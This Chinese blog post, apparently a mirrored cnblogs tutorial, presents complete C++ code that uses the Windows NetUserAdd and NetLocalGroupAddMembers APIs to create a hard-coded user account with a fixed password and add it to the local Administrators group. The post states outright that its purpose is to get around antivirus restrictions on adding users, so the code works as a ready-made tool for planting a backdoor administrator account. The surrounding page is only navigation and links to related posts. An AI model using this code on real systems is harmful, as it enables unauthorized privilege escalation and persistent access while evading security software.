zoukankan      html  css  js  c++  java
  • 【API】API函数创建用户,添加到管理组

    1 学习目标

    使用API添加用户可以绕过某些杀毒软件的限制。

    2 编程思路

    2.1 代码原理

    使用NetUserAdd这个API添加普通权限的用户,NetLocalGroupAddMembers这个API添加管理员权限。

    2.2 编写思路

    • 1、定义USER_INFO_1 结构体
    • 2、调用NetUserAdd添加普通权限账户
    • 3、调用NetLocalGroupAddMembers添加到管理员组

    3 参考文章

    《使用NetUserAdd API函数创建远程用户》
    http://www.cnblogs.com/findumars/p/5812177.html

    4 实现流程

    4.1 编程环境

    操作系统:windows 7
    编译器版本:vs 2010

    4.2 前置API函数

    NetUserAdd

    NET_API_STATUS NET_API_FUNCTION
    NetUserAdd (
        IN  LPCWSTR     servername OPTIONAL,  //指定远程服务器的DNS或NetBIOS名称的函数来执行。如果该参数为NULL,使用本地计算机。
        IN  DWORD      level,
        IN  LPBYTE     buf,
        OUT LPDWORD    parm_err OPTIONAL
        );
    

    NetLocalGroupAddMembers

    NET_API_STATUS NET_API_FUNCTION
    NetLocalGroupAddMembers (
        IN  LPCWSTR     servername OPTIONAL,
        IN  LPCWSTR     groupname,
        IN  DWORD      level,
        IN  LPBYTE     buf,
        IN  DWORD      totalentries
        );
    

    4.3 C++代码

    #include "stdafx.h"
    #ifndef UNICODE    
    #define UNICODE    
    #endif    
    #include  <stdio.h>  
    #include  <windows.h>  
    #include  <lm.h>  
    #pragma comment(lib,"netapi32")    
    int Usage(wchar_t *);    
    int wmain(int argc, wchar_t *argv[])    
    {    
    
    
    	// 定义USER_INFO_1结构体
    	USER_INFO_1 ui;    
    	DWORD dwError = 0;     
    	ui.usri1_name = L"zzzhhh";            // 账户    
    	ui.usri1_password = L"p@sswordQq123";      // 密码
    	ui.usri1_priv = USER_PRIV_USER;    
    	ui.usri1_home_dir = NULL;    
    	ui.usri1_comment = NULL;    
    	ui.usri1_flags = UF_SCRIPT;    
    	ui.usri1_script_path = NULL;    
    	//添加名为zzzhhh的用户,密码为p@sswordQq123:    
    	if(NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success)    
    	{    
    
    		MessageBox(0,L"successfully",L"title",0);
    	
    	}    
    	else    
    	{    
    		//添加失败    
    		MessageBox(0,L"fail",L"title",0);
    
    	}    
    
    	// 添加用户到administrators组
    	LOCALGROUP_MEMBERS_INFO_3 account;    
    	account.lgrmi3_domainandname=ui.usri1_name;      
    	if( NetLocalGroupAddMembers(NULL,L"Administrators",3,(LPBYTE)&account,1) == NERR_Success )    
    	{    
    		//添加成功    
    		MessageBox(0,L"Add to Administrators success",L"title",0);
    	}    
    	else    
    	{    
    		//添加失败    
    		MessageBox(0,L"Add to Administrators Fail!",L"title",0);
    	}    
    
    	return 0;
    }    
    

    运行截图

  • 相关阅读:
    JTAG的SWD接线方式
    Qt のEXecl
    人脸识别
    Qt实现基本QMainWindow主窗口程序
    Qt学习之路MainWindow学习过程中的知识点
    QT_FORWARD_DECLARE_CLASS
    标准的并发控制实现
    C++ DFS
    C# 互操作(一) 编写一个C++ COM组件
    Socket使用SOAP调用WCF
  • 原文地址:https://www.cnblogs.com/17bdw/p/6790197.html
Copyright © 2011-2022 走看看